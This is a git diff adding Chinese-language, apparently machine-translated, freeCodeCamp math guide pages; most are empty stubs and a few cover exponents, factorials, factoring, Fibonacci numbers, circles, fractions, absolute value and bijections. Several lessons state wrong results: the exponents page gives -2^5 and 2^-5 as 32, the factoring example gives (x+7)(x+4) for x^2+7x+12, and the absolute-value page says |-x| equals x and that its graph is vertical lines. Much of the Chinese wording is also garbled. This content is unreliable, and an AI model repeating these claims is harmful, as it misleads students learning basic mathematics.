+这是一个存根。 [帮助我们的社区扩展它](https://github.com/freecodecamp/guides/tree/master/src/pages/mathematics/exponential-functions-compound-interest/index.md) 。
+
+[这种快速风格指南有助于确保您的拉取请求被接受](https://github.com/freecodecamp/guides/blob/master/README.md) 。
+
+#### 更多信息：
\ No newline at end of file
diff --git a/client/src/guide/chinese/mathematics/exponential-functions-introduction/index.md b/client/src/guide/chinese/mathematics/exponential-functions-introduction/index.md
new file mode 100644
index 0000000000..8da2fe2272
--- /dev/null
+++ b/client/src/guide/chinese/mathematics/exponential-functions-introduction/index.md
@@ -0,0 +1,11 @@
+---
+title: Exponential Functions Introduction
+localeTitle: 指数函数简介
+---
+## 指数函数简介
+
+这是一个存根。 [帮助我们的社区扩展它](https://github.com/freecodecamp/guides/tree/master/src/pages/mathematics/exponential-functions-introduction/index.md) 。
+
+[这种快速风格指南有助于确保您的拉取请求被接受](https://github.com/freecodecamp/guides/blob/master/README.md) 。
+
+#### 更多信息：
\ No newline at end of file
diff --git a/client/src/guide/chinese/mathematics/exponential-growth-and-decay-word-problems/index.md b/client/src/guide/chinese/mathematics/exponential-growth-and-decay-word-problems/index.md
new file mode 100644
index 0000000000..ceab704681
--- /dev/null
+++ b/client/src/guide/chinese/mathematics/exponential-growth-and-decay-word-problems/index.md
@@ -0,0 +1,11 @@
+---
+title: Exponential Growth and Decay Word Problems
+localeTitle: 指数增长和衰变词问题
+---
+## 指数增长和衰变词问题
+
+这是一个存根。 [帮助我们的社区扩展它](https://github.com/freecodecamp/guides/tree/master/src/pages/mathematics/exponential-growth-and-decay-word-problems/index.md) 。
+
+[这种快速风格指南有助于确保您的拉取请求被接受](https://github.com/freecodecamp/guides/blob/master/README.md) 。
+
+#### 更多信息：
\ No newline at end of file
diff --git a/client/src/guide/chinese/mathematics/exponential-growth-and-decay/index.md b/client/src/guide/chinese/mathematics/exponential-growth-and-decay/index.md
new file mode 100644
index 0000000000..e268a6d616
--- /dev/null
+++ b/client/src/guide/chinese/mathematics/exponential-growth-and-decay/index.md
@@ -0,0 +1,11 @@
+---
+title: Exponential Growth and Decay
+localeTitle: 指数增长和衰减
+---
+## 指数增长和衰减
+
+这是一个存根。 [帮助我们的社区扩展它](https://github.com/freecodecamp/guides/tree/master/src/pages/mathematics/exponential-growth-and-decay/index.md) 。
+
+[这种快速风格指南有助于确保您的拉取请求被接受](https://github.com/freecodecamp/guides/blob/master/README.md) 。
+
+#### 更多信息：
\ No newline at end of file
diff --git a/client/src/guide/chinese/mathematics/exponential-word-problems/index.md b/client/src/guide/chinese/mathematics/exponential-word-problems/index.md
new file mode 100644
index 0000000000..52785c08c0
--- /dev/null
+++ b/client/src/guide/chinese/mathematics/exponential-word-problems/index.md
@@ -0,0 +1,11 @@
+---
+title: Exponential Word Problems
+localeTitle: 指数词问题
+---
+## 指数词问题
+
+这是一个存根。 [帮助我们的社区扩展它](https://github.com/freecodecamp/guides/tree/master/src/pages/mathematics/exponential-word-problems/index.md) 。
+
+[这种快速风格指南有助于确保您的拉取请求被接受](https://github.com/freecodecamp/guides/blob/master/README.md) 。
+
+#### 更多信息：
\ No newline at end of file
diff --git a/client/src/guide/chinese/mathematics/exponents-basic-rules/index.md b/client/src/guide/chinese/mathematics/exponents-basic-rules/index.md
new file mode 100644
index 0000000000..5d33669644
--- /dev/null
+++ b/client/src/guide/chinese/mathematics/exponents-basic-rules/index.md
@@ -0,0 +1,11 @@
+---
+title: Exponents Basic Rules
+localeTitle: 指数基本规则
+---
+## 指数基本规则
+
+这是一个存根。 [帮助我们的社区扩展它](https://github.com/freecodecamp/guides/tree/master/src/pages/mathematics/exponents-basic-rules/index.md) 。
+
+[这种快速风格指南有助于确保您的拉取请求被接受](https://github.com/freecodecamp/guides/blob/master/README.md) 。
+
+#### 更多信息：
\ No newline at end of file
diff --git a/client/src/guide/chinese/mathematics/exponents/index.md b/client/src/guide/chinese/mathematics/exponents/index.md
new file mode 100644
index 0000000000..c0ed1dde1b
--- /dev/null
+++ b/client/src/guide/chinese/mathematics/exponents/index.md
@@ -0,0 +1,36 @@
+---
+title: Exponents
+localeTitle: 指数
+---
+## 指数
+
+指数是数字乘以其自身倍数的简写。它通常用上标，克拉或“以权力”表示，例如：
+
+*   2 3
+*   2 ^ 3
+*   2到3的力量
+
+在这个例子中，3是指数。
+
+要计算2 3的值，您将多次2到自身3次：2 \* 2 \* 2.这将评估为8。
+
+常见的指数有特殊名称：
+
+*   2的指数通常被称为平方。所以3 2被称为3平方，评估为9。
+*   3的指数通常被称为立方。所以2 3被称为3立方，评估为8。
+
+### 否定指数
+
+负指数的计算方法类似，只是将值作为分子放在1的分子下面。
+
+例如，2 \-2 = 1 /（2 \* 2）= 1/4
+
+### 更多例子
+
+2 5 = 2 _2_ 2 _2_ 2 = 32
+
+\-2 5 = -2 _\-2_ -2 _\-2_ -2 = 32
+
+10 6 = 1,000,000
+
+2 \-5 = 1 /（2 _2_ 2 _2_ 2）= 32
\ No newline at end of file
diff --git a/client/src/guide/chinese/mathematics/factorial-function/index.md b/client/src/guide/chinese/mathematics/factorial-function/index.md
new file mode 100644
index 0000000000..ef4ee8bcf8
--- /dev/null
+++ b/client/src/guide/chinese/mathematics/factorial-function/index.md
@@ -0,0 +1,11 @@
+---
+title: Factorial Function
+localeTitle: 因子功能
+---
+## 因子功能
+
+这是一个存根。 [帮助我们的社区扩展它](https://github.com/freecodecamp/guides/tree/master/src/pages/mathematics/factorial-function/index.md) 。
+
+[这种快速风格指南有助于确保您的拉取请求被接受](https://github.com/freecodecamp/guides/blob/master/README.md) 。
+
+#### 更多信息：
\ No newline at end of file
diff --git a/client/src/guide/chinese/mathematics/factorials/index.md b/client/src/guide/chinese/mathematics/factorials/index.md
new file mode 100644
index 0000000000..cd7cd713ff
--- /dev/null
+++ b/client/src/guide/chinese/mathematics/factorials/index.md
@@ -0,0 +1,47 @@
+---
+title: Factorials
+localeTitle: 阶乘
+---
+## 阶乘
+
+### 因子的定义
+
+阶乘是将它乘以每个intiger低于结束为1的intiger。如果初始数字为负，则结果为无穷大。
+
+因子n是非负整数，定义如下：
+
+N！ = 1 \* 2 \* ... \*（n - 1）\* n
+
+当n = 0时出现特殊情况。即0！ = 1 。
+
+### 因子的便利性
+
+上面的定义为您提供了某些计算的便利。例如，分数内的阶乘通常可以简化如下：
+
+例1： 7！ / 5！ =（1 \* 2 \* 3 \* 4 \* 5 \* 6 \* 7）/（1 \* 2 \* 3 \* 4 \* 5）= 6 \* 7 = 42
+
+例2： （n + 1）！ / n！ =（1 \* 2 \* ... \* n \*（n + 1））/（1 \* 2 \* ... \* n）= n + 1
+
+### 替代定义
+
+或者，阶乘可以定义如下：
+
+0！ = 1
+
+N！ = n \*（n - 1）！如果n> 0
+
+这种递归定义意味着与传统定义完全相同。将其应用于上面的第二个例子，我们得到：
+
+（n + 1）！ / n！ =（n + 1）\* n！ / n！ = n + 1
+
+### 旁白：扩展到非整数
+
+请注意，上面定义的阶乘仅适用于非负整数。实际上，有一个阶乘的推广也延伸到非整数，即Gamma函数。特别是，对于任何自然数n ，你有n！ = Gamma（n + 1）= n \* Gamma（n） 。
+
+有关更多信息，请参阅[将factorial扩展为参数的非整数值](https://en.wikipedia.org/wiki/Factorial#Extension_of_factorial_to_non-integer_values_of_argument) 。
+
+一个棘手的例子，很多人可能不知道0！ = 1.如需进一步证明，请参阅更多信息下的链接。
+
+#### 更多信息：
+
+[阶乘](http://www.purplemath.com/modules/factorial.htm)
\ No newline at end of file
diff --git a/client/src/guide/chinese/mathematics/factoring-in-algebra/index.md b/client/src/guide/chinese/mathematics/factoring-in-algebra/index.md
new file mode 100644
index 0000000000..de4819bceb
--- /dev/null
+++ b/client/src/guide/chinese/mathematics/factoring-in-algebra/index.md
@@ -0,0 +1,19 @@
+---
+title: Factoring in Algebra
+localeTitle: 在代数中考虑因素
+---
+## 在代数中考虑因素
+
+保理是如何采用标准形式的二次方并将其置于因式形式。二次曲线的标准形式通常显示为ax 2 + bx + c，其中a和b是系数，c是常数。因子形式通常表示为（x-d）（x-t），其中d和t都是系数。
+
+## 考虑你的头脑
+
+当a = 1时，这种分解方法通常效果最好。为了在a = 1时这样做，你看两个数字加到等于b的同时还乘以c。这两个数字将等于d和t。
+
+#### 例1：
+
+x 2 + 2x + 1 在这里你必须找到两个乘以1并加到2的数字。这两个数字是1和1.然后你将这些数字放入这样的因式形式： （x + 1）（x + 1）
+
+#### 例2：
+
+x 2 + 7x + 12 在这里你必须找到两个乘以12并加到7的数字。这两个数字是3和4.然后你将这些数字放入这样的因式形式： （x + 7）（x + 4）。
\ No newline at end of file
diff --git a/client/src/guide/chinese/mathematics/factoring-polynomials-common-factor/index.md b/client/src/guide/chinese/mathematics/factoring-polynomials-common-factor/index.md
new file mode 100644
index 0000000000..f391202bcc
--- /dev/null
+++ b/client/src/guide/chinese/mathematics/factoring-polynomials-common-factor/index.md
@@ -0,0 +1,11 @@
+---
+title: Factoring Polynomials Common Factor
+localeTitle: 保理多项式的共同因素
+---
+## 保理多项式的共同因素
+
+这是一个存根。 [帮助我们的社区扩展它](https://github.com/freecodecamp/guides/tree/master/src/pages/mathematics/factoring-polynomials-common-factor/index.md) 。
+
+[这种快速风格指南有助于确保您的拉取请求被接受](https://github.com/freecodecamp/guides/blob/master/README.md) 。
+
+#### 更多信息：
\ No newline at end of file
diff --git a/client/src/guide/chinese/mathematics/factoring-quadratics-the-simple-case/index.md b/client/src/guide/chinese/mathematics/factoring-quadratics-the-simple-case/index.md
new file mode 100644
index 0000000000..b93f859bf4
--- /dev/null
+++ b/client/src/guide/chinese/mathematics/factoring-quadratics-the-simple-case/index.md
@@ -0,0 +1,11 @@
+---
+title: Factoring Quadratics the Simple Case
+localeTitle: 将Quadratics分解为简单案例
+---
+## 将Quadratics分解为简单案例
+
+这是一个存根。 [帮助我们的社区扩展它](https://github.com/freecodecamp/guides/tree/master/src/pages/mathematics/factoring-quadratics-the-simple-case/index.md) 。
+
+[这种快速风格指南有助于确保您的拉取请求被接受](https://github.com/freecodecamp/guides/blob/master/README.md) 。
+
+#### 更多信息：
\ No newline at end of file
diff --git a/client/src/guide/chinese/mathematics/factoring-quadratics/index.md b/client/src/guide/chinese/mathematics/factoring-quadratics/index.md
new file mode 100644
index 0000000000..8ef0724f52
--- /dev/null
+++ b/client/src/guide/chinese/mathematics/factoring-quadratics/index.md
@@ -0,0 +1,9 @@
+---
+title: Factoring Quadratics
+localeTitle: 保理二次方
+---
+## 保理二次方
+
+对于函数：f（x）= x ^ 2 + 2x + 1，因式形式为f（x）=（x + 1）（x + 1）或f（x）=（x + 1）^ 2
+
+#### 更多信息：
\ No newline at end of file
diff --git a/client/src/guide/chinese/mathematics/fibonacci-number/index.md b/client/src/guide/chinese/mathematics/fibonacci-number/index.md
new file mode 100644
index 0000000000..ab2fe9a0de
--- /dev/null
+++ b/client/src/guide/chinese/mathematics/fibonacci-number/index.md
@@ -0,0 +1,28 @@
+---
+title: Fibonacci Number
+localeTitle: 斐波纳契数
+---
+## 斐波纳契数
+
+Fibonacci数是_Fibonacci序列的_一个术语，可能是最着名的一个 在那里排序。在此序列中，每个新数字是前两个数字的总和：
+
+*   F（n）= F（n-1）+ F（n-2）。
+
+所以让我们从一开始就采取它，它从0开始。下一个数字将是它的总和 前两个数字，这将是1.因此下一个数字也将是1。 然后是第三个数字，它将是1和1之和，即2。 然后是1和2，即3,2和3，即5,3和5，即8，依此类推。
+
+在自然界的许多地方都可以看到这种序列，如蜗牛的壳或者 向日葵的螺旋形图案。
+
+初始值为：
+
+0,1,1,2,3,5,8,13,21,34,55,89,144,233 ......
+
+如果你想制作一个在x次迭代后找到斐波纳契数的程序，请确保你 有足够大的边界。价值呈指数级增长，因此需要更多 空间超出预期。
+
+关于Fibonnaci序列令人着迷的一点是它在自然界中的存在。它可以在花瓣，种子头，松果，贝壳，飓风等等中找到。
+
+### 更多信息：
+
+*   关于斐波纳契数的许多信息，包括比奈公式的证明，都可以在[这里](https://en.wikipedia.org/wiki/Fibonacci_number)找到。
+*   [在线整数序列百科全书：斐波那契数](http://oeis.org/A000045)
+*   [Fibonacci序列，因为它在音阶中找到。](https://www.youtube.com/watch?v=2pbEarwdusc)
+*   [Fibonacci序列本质上](https://io9.gizmodo.com/5985588/15-uncanny-examples-of-the-golden-ratio-in-nature)
\ No newline at end of file
diff --git a/client/src/guide/chinese/mathematics/finding-a-percent/index.md b/client/src/guide/chinese/mathematics/finding-a-percent/index.md
new file mode 100644
index 0000000000..73f8504cd3
--- /dev/null
+++ b/client/src/guide/chinese/mathematics/finding-a-percent/index.md
@@ -0,0 +1,11 @@
+---
+title: Finding a Percent
+localeTitle: 寻找百分比
+---
+## 寻找百分比
+
+这是一个存根。 [帮助我们的社区扩展它](https://github.com/freecodecamp/guides/tree/master/src/pages/mathematics/finding-a-percent/index.md) 。
+
+[这种快速风格指南有助于确保您的拉取请求被接受](https://github.com/freecodecamp/guides/blob/master/README.md) 。
+
+#### 更多信息：
\ No newline at end of file
diff --git a/client/src/guide/chinese/mathematics/finding-an-angle-in-a-right-angled-triangle/index.md b/client/src/guide/chinese/mathematics/finding-an-angle-in-a-right-angled-triangle/index.md
new file mode 100644
index 0000000000..fac39f1fbd
--- /dev/null
+++ b/client/src/guide/chinese/mathematics/finding-an-angle-in-a-right-angled-triangle/index.md
@@ -0,0 +1,11 @@
+---
+title: Finding an Angle in a Right Angled Triangle
+localeTitle: 在直角三角形中找到一个角度
+---
+## 在直角三角形中找到一个角度
+
+这是一个存根。 [帮助我们的社区扩展它](https://github.com/freecodecamp/guides/tree/master/src/pages/mathematics/finding-an-angle-in-a-right-angled-triangle/index.md) 。
+
+[这种快速风格指南有助于确保您的拉取请求被接受](https://github.com/freecodecamp/guides/blob/master/README.md) 。
+
+#### 更多信息：
\ No newline at end of file
diff --git a/client/src/guide/chinese/mathematics/finding-circumference-of-a-circle-when-given-the-area/index.md b/client/src/guide/chinese/mathematics/finding-circumference-of-a-circle-when-given-the-area/index.md
new file mode 100644
index 0000000000..fb718c2f81
--- /dev/null
+++ b/client/src/guide/chinese/mathematics/finding-circumference-of-a-circle-when-given-the-area/index.md
@@ -0,0 +1,69 @@
+---
+title: Finding Circumference of a Circle When Given the Area
+localeTitle: 给定区域时查找圆的周长
+---
+## 背景资料
+
+##### 什么是周长？
+
+弯曲几何图形的封闭边界的长度。
+
+* * *
+
+##### 什么是地区？
+
+面积是平面上有多少空间的度量。
+
+### 问题：在给出圆的面积时找到圆的圆周？
+
+##### 脚步：
+
+*   圆的面积=π×r 2 ，所以我们将从这个公式中找到圆的半径。
+*   圆周= 2×πr，并在此公式中放置半径以计算周长。
+
+例， 
+问题）查找具有面积\=π3的圆的周长？ 
+回答： 
+通过上述步骤， 
+面积=π×r 2 
+ π3 \=π×π2 
+通过比较，我们得到， 
+半径，r =π 
+现在把这个值放在圆周的公式中， 
+ cirucumference = 2×πr 
+ = 2×ππ 
+ = 2π2 
+因此，我们找到了答案。 
+
+### 圆的面积（A）
+
+A =π\*半径2
+
+### 圆的周长（C）
+
+C = 2 \*π\*半径
+
+## 在给定区域的情况下找到圆的圆周
+
+1.  求解圆的半径
+    
+    半径=（A /π） ½
+    
+2.  将半径输入到圆周的公式中并求解。
+    
+    C = 2 \*π\*（A /π） 1/2
+    
+
+#### 更多信息：
+
+[圆的面积](https://guide.freecodecamp.org/mathematics/area-of-a-circle)
+
+### 这里有一些很酷的插图
+
+#### 周
+
+![圈](https://www.mathplanet.com/Oldsite/media/55567/circle01.png)
+
+#### 区
+
+![圈子面积](http://www.mathwarehouse.com/animated-gifs/images/area-of-circle-through-triangles-area-demo_xl.gif)
\ No newline at end of file
diff --git a/client/src/guide/chinese/mathematics/finding-slope-from-graph/index.md b/client/src/guide/chinese/mathematics/finding-slope-from-graph/index.md
new file mode 100644
index 0000000000..3ac5fb8125
--- /dev/null
+++ b/client/src/guide/chinese/mathematics/finding-slope-from-graph/index.md
@@ -0,0 +1,11 @@
+---
+title: Finding Slope from Graph
+localeTitle: 从图中寻找斜率
+---
+## 从图中寻找斜率
+
+这是一个存根。 [帮助我们的社区扩展它](https://github.com/freecodecamp/guides/tree/master/src/pages/mathematics/finding-slope-from-graph/index.md) 。
+
+[这种快速风格指南有助于确保您的拉取请求被接受](https://github.com/freecodecamp/guides/blob/master/README.md) 。
+
+#### 更多信息：
\ No newline at end of file
diff --git a/client/src/guide/chinese/mathematics/finding-the-inverse-of-a-function/index.md b/client/src/guide/chinese/mathematics/finding-the-inverse-of-a-function/index.md
new file mode 100644
index 0000000000..b44e8cddc2
--- /dev/null
+++ b/client/src/guide/chinese/mathematics/finding-the-inverse-of-a-function/index.md
@@ -0,0 +1,11 @@
+---
+title: Finding the Inverse of a Function
+localeTitle: 找到函数的逆
+---
+## 找到函数的逆
+
+这是一个存根。 [帮助我们的社区扩展它](https://github.com/freecodecamp/guides/tree/master/src/pages/mathematics/finding-the-inverse-of-a-function/index.md) 。
+
+[这种快速风格指南有助于确保您的拉取请求被接受](https://github.com/freecodecamp/guides/blob/master/README.md) 。
+
+#### 更多信息：
\ No newline at end of file
diff --git a/client/src/guide/chinese/mathematics/finding-the-minimum-and-maximum-of-a-function/index.md b/client/src/guide/chinese/mathematics/finding-the-minimum-and-maximum-of-a-function/index.md
new file mode 100644
index 0000000000..16ce662023
--- /dev/null
+++ b/client/src/guide/chinese/mathematics/finding-the-minimum-and-maximum-of-a-function/index.md
@@ -0,0 +1,11 @@
+---
+title: Finding the Minimum and Maximum of a Function
+localeTitle: 查找函数的最小值和最大值
+---
+## 查找函数的最小值和最大值
+
+这是一个存根。 [帮助我们的社区扩展它](https://github.com/freecodecamp/guides/tree/master/src/pages/mathematics/finding-the-minimum-and-maximum-of-a-function/index.md) 。
+
+[这种快速风格指南有助于确保您的拉取请求被接受](https://github.com/freecodecamp/guides/blob/master/README.md) 。
+
+#### 更多信息：
\ No newline at end of file
diff --git a/client/src/guide/chinese/mathematics/fourier-series/index.md b/client/src/guide/chinese/mathematics/fourier-series/index.md
new file mode 100644
index 0000000000..a6dbb5b534
--- /dev/null
+++ b/client/src/guide/chinese/mathematics/fourier-series/index.md
@@ -0,0 +1,14 @@
+---
+title: Fourier Series
+localeTitle: 傅里叶系列
+---
+## 傅里叶系列
+
+傅里叶级数表示一些函数作为正弦和余弦的总和。这可以通过对某些函数应用傅立叶变换来完成。有许多不同类型的傅里叶变换，例如连续，离散，有限和无限。这是傅里叶变换的一个简单用例：假设你想用代数方法逼近方波。最好的方法是应用傅里叶变换，产生傅里叶级数。这个新系列可以使用泰勒级数近似，因此正弦和余弦的总和将成为多项式的总和，这对于计算机来说很容易计算。傅立叶级数今天在一个名为“傅里叶分析”的领域进行了研究。要直观地了解转换，请阅读以下信息部分中的“BetterExplained”文章。有关傅里叶系列学术/工程应用的起点，请参阅下面的维基百科文章。
+
+#### 更多信息：
+
+*   [傅立叶系列维基百科](https://en.wikipedia.org/wiki/Fourier_series)
+*   [Wolfram on Fourier系列](http://mathworld.wolfram.com/FourierSeries.html)
+*   [傅里叶系列：更好的解释](https://betterexplained.com/articles/an-interactive-guide-to-the-fourier-transform/)
+*   [傅立叶变换的StackExchange](https://math.stackexchange.com/questions/1002/fourier-transform-for-dummies)
\ No newline at end of file
diff --git a/client/src/guide/chinese/mathematics/fractional-exponents/index.md b/client/src/guide/chinese/mathematics/fractional-exponents/index.md
new file mode 100644
index 0000000000..99ed4d5737
--- /dev/null
+++ b/client/src/guide/chinese/mathematics/fractional-exponents/index.md
@@ -0,0 +1,23 @@
+---
+title: Fractional Exponents
+localeTitle: 分数指数
+---
+## 分数指数
+
+分数指数用于将数字提升为非整数的指数。如果您之前使用过指数和平方根，那么您之前已经完成了小数指数。例如，3的平方根与3到1/2的平方根相同。
+
+![](http://www.mathwarehouse.com/algebra/exponents/fraction-exponents/images/square-root-as-fraction.gif)
+
+知道任何整数都可以表示为具有1的指数的分数，将任何数字提高到n / 1与将该数字提高到n是一回事。将两者结合起来，我们可以将分形指数的一般公式写成：
+
+![](http://www.mathwarehouse.com/algebra/exponents/fraction-exponents/images/formula-numerator-not-one.gif)
+
+**注意：首先执行哪个操作，分子或命名符并不重要**
+
+这是一个例子：
+
+![](http://www.mathwarehouse.com/algebra/exponents/fraction-exponents/images/formula-numerator-not-one2.gif)
+
+#### 更多信息：
+
+http://www.mathwarehouse.com/algebra/exponents/fraction-exponents/formula-examples-simplify-exponents-with-fractions.php https://www.mathsisfun.com/algebra/exponent-fractional.html
\ No newline at end of file
diff --git a/client/src/guide/chinese/mathematics/fractions/index.md b/client/src/guide/chinese/mathematics/fractions/index.md
new file mode 100644
index 0000000000..494ecff0b1
--- /dev/null
+++ b/client/src/guide/chinese/mathematics/fractions/index.md
@@ -0,0 +1,28 @@
+---
+title: Fractions
+localeTitle: 馏分
+---
+## 馏分
+
+分数表示整数的一部分，介于0和1之间。它们可以使用小数（例如0.1），百分比（例如10％），负指数（例如10 ^ -1）或分数（例如1 / 10）。
+
+分数通常有两个部分，用一条线分开：
+
+*   分子：表示标记分数的相等部分的数量。 （在线以上）
+    
+*   分母：表示分子除以分数的数字。 （在线下面）
+    
+
+分子和分母都是整数（整数）。
+
+适当的分数是分子小于分母的分数。
+
+也可以在整数后添加分数以提高其准确度。
+
+### 例子
+
+1½代表1 + 1/2或1.5。
+
+并非所有分数都有十进制表示：
+
+⅓或1/3表示1除以3
\ No newline at end of file
diff --git a/client/src/guide/chinese/mathematics/function-notation-definitions-and-evaluating-at-a-number/index.md b/client/src/guide/chinese/mathematics/function-notation-definitions-and-evaluating-at-a-number/index.md
new file mode 100644
index 0000000000..0980b20017
--- /dev/null
+++ b/client/src/guide/chinese/mathematics/function-notation-definitions-and-evaluating-at-a-number/index.md
@@ -0,0 +1,11 @@
+---
+title: Function Notation Definitions and Evaluating at a Number
+localeTitle: 函数表示法定义和数字评估
+---
+## 函数表示法定义和数字评估
+
+这是一个存根。 [帮助我们的社区扩展它](https://github.com/freecodecamp/guides/tree/master/src/pages/mathematics/function-notation-definitions-and-evaluating-at-a-number/index.md) 。
+
+[这种快速风格指南有助于确保您的拉取请求被接受](https://github.com/freecodecamp/guides/blob/master/README.md) 。
+
+#### 更多信息：
\ No newline at end of file
diff --git a/client/src/guide/chinese/mathematics/function-transformations/index.md b/client/src/guide/chinese/mathematics/function-transformations/index.md
new file mode 100644
index 0000000000..7f645bcf12
--- /dev/null
+++ b/client/src/guide/chinese/mathematics/function-transformations/index.md
@@ -0,0 +1,11 @@
+---
+title: Function Transformations
+localeTitle: 功能转换
+---
+## 功能转换
+
+这是一个存根。 [帮助我们的社区扩展它](https://github.com/freecodecamp/guides/tree/master/src/pages/mathematics/function-transformations/index.md) 。
+
+[这种快速风格指南有助于确保您的拉取请求被接受](https://github.com/freecodecamp/guides/blob/master/README.md) 。
+
+#### 更多信息：
\ No newline at end of file
diff --git a/client/src/guide/chinese/mathematics/functions-domain-and-range/index.md b/client/src/guide/chinese/mathematics/functions-domain-and-range/index.md
new file mode 100644
index 0000000000..6859e40bb2
--- /dev/null
+++ b/client/src/guide/chinese/mathematics/functions-domain-and-range/index.md
@@ -0,0 +1,11 @@
+---
+title: Functions Domain and Range
+localeTitle: 功能域和范围
+---
+## 功能域和范围
+
+这是一个存根。 [帮助我们的社区扩展它](https://github.com/freecodecamp/guides/tree/master/src/pages/mathematics/functions-domain-and-range/index.md) 。
+
+[这种快速风格指南有助于确保您的拉取请求被接受](https://github.com/freecodecamp/guides/blob/master/README.md) 。
+
+#### 更多信息：
\ No newline at end of file
diff --git a/client/src/guide/chinese/mathematics/functions/absolute-value/index.md b/client/src/guide/chinese/mathematics/functions/absolute-value/index.md
new file mode 100644
index 0000000000..818e4e349a
--- /dev/null
+++ b/client/src/guide/chinese/mathematics/functions/absolute-value/index.md
@@ -0,0 +1,53 @@
+---
+title: Absolute Value
+localeTitle: 绝对值
+---
+## 绝对值
+
+说x absolute是把它写成| x |。 说y绝对是把它写成| y |。 你懂了。
+
+绝对值函数非常简单。它们基本上意味着什么在|？|的一边将具有正面价值。 含义| 2 |和| -2 |两者都等于2. | 3 |和| -3 |两者都等于3. | x |和| -x |两者都等于x。只需按照以下问题了解更多信息即可。
+
+问题： - | x | = 5 从这里走到道路。第一条路： - 从等式右边删除绝对符号。 等式变为： - x = 5（已解决）
+
+第二条路： - 从等式右边删除绝对符号，并在左侧添加一个减号，使其看起来像这样 - （“左侧”）。 等式变为： - x = - （5） 这基本上是： - x = -5（已解决）
+
+因此解决方案是x = 5或-5（5和-5都是正确的解决方案，因为x可以是，绝对x仍然等于5）
+
+关键词是“右侧”和“左侧”。
+
+下一个等式： -
+
+问题：- 2 + | x | = 5
+
+首先在一边单独使用x： - | X | = 5 - 2 | X | = 3
+
+现在路1： - | X | = 3 x = 3（已解决）
+
+路2： - | X | = 3 x = - （3） x = -3
+
+解决方案是： - x = 3或-3。
+
+下一个等式： - | x | ^ 2 = 16
+
+首先在一边单独使用x： - | X | = sqroot（16） | X | = 4
+
+现在路1： - | X | = 4 x = 4（已解决）
+
+路2： - | X | = 4 x = - （4） x = -4
+
+解决方案是： - x = 4或-4
+
+现在让我们检查代数问题中的一些逻辑谬误： -
+
+在绝对函数中| x |永远不会等于一个新的数字。 例如（以下问题是错误的，意味着它在逻辑上是不可能的）： - | X | = -1 你可以解决问题，但所有解决方案都是错误的，因为问题本身是不可能的。
+
+所以每当你看到绝对的| x |变量等于一个negetive数字只是跳过问题或写下“问题本身是不可能的，因为绝对变量不能等于negetive数字”。
+
+绝对变量也不能小于0，因此问题“| x | <0”也是错误的（逻辑上不可能）。
+
+此外，当绝对变量等于0时，在某些情况下该零可以是双根。
+
+绝对函数图只有两条直线。例如，如果x = 4或-4，则在x = 4和x = -4处将存在直线垂直线。
+
+这是绝对功能的快节奏指南。更多信息可通过网络获得。
\ No newline at end of file
diff --git a/client/src/guide/chinese/mathematics/functions/bijectivity/index.md b/client/src/guide/chinese/mathematics/functions/bijectivity/index.md
new file mode 100644
index 0000000000..42a8e3155e
--- /dev/null
+++ b/client/src/guide/chinese/mathematics/functions/bijectivity/index.md
@@ -0,0 +1,31 @@
+---
+title: Bijectivity
+localeTitle: 双射
+---
+## 双射
+
+### 双射函数是一种内射和满射的函数。
+
+#### 内射函数
+
+对于函数是单射的或一对一的，必须映射codomain的每个元素 到域的一个独特元素。每个X值都有自己特殊的Y值。
+
+![内射](http://images.tutorvista.com/cms/images/113/injective-function.png) “一个内射函数”
+
+#### 射影函数
+
+对于函数是满射的，或者在每个元素上，每个元素codomain被映射为域的至少一个元素。每个Y值至少有一个X值。
+
+![满射](http://images.tutorvista.com/cms/images/113/surjective-function.png) “一个射影函数”
+
+#### 双射函数
+
+对于作为双射或一对一对应的函数，该函数必须是单射和满射的。 codomain的每个元素都映射到域的一个元素。密码域和域的基数（或元素数）相等。
+
+![双射](http://images.tutorvista.com/cms/images/113/bijective-function.png) “一个双射函数”
+
+#### 更多信息：
+
+*   [维基百科关于功能的文章](https://en.wikipedia.org/wiki/Bijection,_injection_and_surjection)
+*   [更多功能](http://www.tutorvista.com/content/math/different-types-of-functions/)
+*   [非常适合刚接触数学的人](https://www.mathsisfun.com/sets/injective-surjective-bijective.html)
\ No newline at end of file
diff --git a/client/src/guide/chinese/mathematics/functions/composition/index.md b/client/src/guide/chinese/mathematics/functions/composition/index.md
new file mode 100644
index 0000000000..303736064e
--- /dev/null
+++ b/client/src/guide/chinese/mathematics/functions/composition/index.md
@@ -0,0 +1,11 @@
+---
+title: Composition
+localeTitle: 组成
+---
+## 组成
+
+这是一个存根。 [帮助我们的社区扩展它](https://github.com/freecodecamp/guides/tree/master/src/pages/mathematics/functions/composition/index.md) 。
+
+[这种快速风格指南有助于确保您的拉取请求被接受](https://github.com/freecodecamp/guides/blob/master/README.md) 。
+
+#### 更多信息：
\ No newline at end of file
diff --git a/client/src/guide/chinese/mathematics/functions/domain-and-codomain/index.md b/client/src/guide/chinese/mathematics/functions/domain-and-codomain/index.md
new file mode 100644
index 0000000000..af0ce711a1
--- /dev/null
+++ b/client/src/guide/chinese/mathematics/functions/domain-and-codomain/index.md
@@ -0,0 +1,11 @@
+---
+title: Domain and Codomain
+localeTitle: 域和Codomain
+---
+## 域和Codomain
+
+这是一个存根。 [帮助我们的社区扩展它](https://github.com/freecodecamp/guides/tree/master/src/pages/mathematics/functions/domain-and-codomain/index.md) 。
+
+[这种快速风格指南有助于确保您的拉取请求被接受](https://github.com/freecodecamp/guides/blob/master/README.md) 。
+
+#### 更多信息：
\ No newline at end of file
diff --git a/client/src/guide/chinese/mathematics/functions/exponentials/index.md b/client/src/guide/chinese/mathematics/functions/exponentials/index.md
new file mode 100644
index 0000000000..61b2b85a99
--- /dev/null
+++ b/client/src/guide/chinese/mathematics/functions/exponentials/index.md
@@ -0,0 +1,11 @@
+---
+title: Exponentials
+localeTitle: 指数
+---
+## 指数
+
+这是一个存根。 [帮助我们的社区扩展它](https://github.com/freecodecamp/guides/tree/master/src/pages/mathematics/functions/exponentials/index.md) 。
+
+[这种快速风格指南有助于确保您的拉取请求被接受](https://github.com/freecodecamp/guides/blob/master/README.md) 。
+
+#### 更多信息：
\ No newline at end of file
diff --git a/client/src/guide/chinese/mathematics/functions/fibonacci-and-ackermann/index.md b/client/src/guide/chinese/mathematics/functions/fibonacci-and-ackermann/index.md
new file mode 100644
index 0000000000..80510f40b7
--- /dev/null
+++ b/client/src/guide/chinese/mathematics/functions/fibonacci-and-ackermann/index.md
@@ -0,0 +1,11 @@
+---
+title: Fibonacci and Ackermann
+localeTitle: 斐波纳契和阿克曼
+---
+## 斐波纳契和阿克曼
+
